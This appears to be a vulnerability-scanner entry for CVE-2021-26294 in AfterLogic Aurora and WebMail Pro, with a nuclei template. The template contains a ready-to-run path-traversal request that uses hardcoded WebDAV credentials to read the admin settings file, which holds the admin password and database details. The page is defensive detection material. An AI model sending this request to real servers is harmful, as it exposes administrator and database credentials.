AfterLogic Aurora and WebMail Pro < 7.7.9 - Information Disclosure

highseverity

7.5CVSS score

16.9%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

AfterLogic Aurora and WebMail Pro products with 7.7.9 and all lower versions are affected by this vulnerability, simply sending an HTTP GET request to WebDAV EndPoint with built-in “caldav_public_user@localhost” and it’s the predefined password “caldav_public_user” allows the attacker to read all files under the web root.

Impact

Unauthenticated attackers using hardcoded credentials can read arbitrary files under the web root, potentially exposing sensitive configuration data, credentials, and proprietary information.

Fix

Upgrade to AfterLogic Aurora or WebMail Pro version 7.7.10 or later.

How to confirm it

Send: GET /dav/server.php/files/personal/%2e%2e/%2e%2e//%2e%2e//%2e%2e/data/settings/settings.xml
Positive when: contains "<AdminLogin>" and "<AdminPassword>" and "<DBHost>" AND contains in header "application/octet-stream" AND status 200

Run it with nuclei: nuclei -id CVE-2021-26294 -u <target>

The full check

id: CVE-2021-26294

info:
  name: AfterLogic Aurora and WebMail Pro < 7.7.9 - Information Disclosure
  author: johnk3r
  severity: high
  description: |
    AfterLogic Aurora and WebMail Pro products with 7.7.9 and all lower versions are affected by this vulnerability, simply sending an HTTP GET request to WebDAV EndPoint with built-in “caldav_public_user@localhost” and it’s the predefined password “caldav_public_user” allows the attacker to read all files under the web root.
  impact: |
    Unauthenticated attackers using hardcoded credentials can read arbitrary files under the web root, potentially exposing sensitive configuration data, credentials, and proprietary information.
  remediation: |
    Upgrade to AfterLogic Aurora or WebMail Pro version 7.7.10 or later.
  reference:
    - https://github.com/E3SEC/AfterLogic/blob/main/CVE-2021-26294-exposure-of-sensitive-information-vulnerability.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26294
    - https://github.com/Threekiii/Awesome-POC
    - https://github.com/soosmile/POC
    - https://github.com/tzwlhack/Vulnerability
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-26294
    cwe-id: CWE-22
    epss-score: 0.16899
    epss-percentile: 0.97076
    cpe: cpe:2.3:a:afterlogic:aurora:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: afterlogic
    product: aurora
    fofa-query:
      - "X-Server: AfterlogicDAVServer"
      - "x-server: afterlogicdavserver"
  tags: cve2021,cve,afterlogic,exposure,AfterLogic,vkev,vuln

http:
  - raw:
      - |
        GET /dav/server.php/files/personal/%2e%2e/%2e%2e//%2e%2e//%2e%2e/data/settings/settings.xml HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic Y2FsZGF2X3B1YmxpY191c2VyQGxvY2FsaG9zdDpjYWxkYXZfcHVibGljX3VzZXI

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<AdminLogin>"
          - "<AdminPassword>"
          - "<DBHost>"
        condition: and

      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from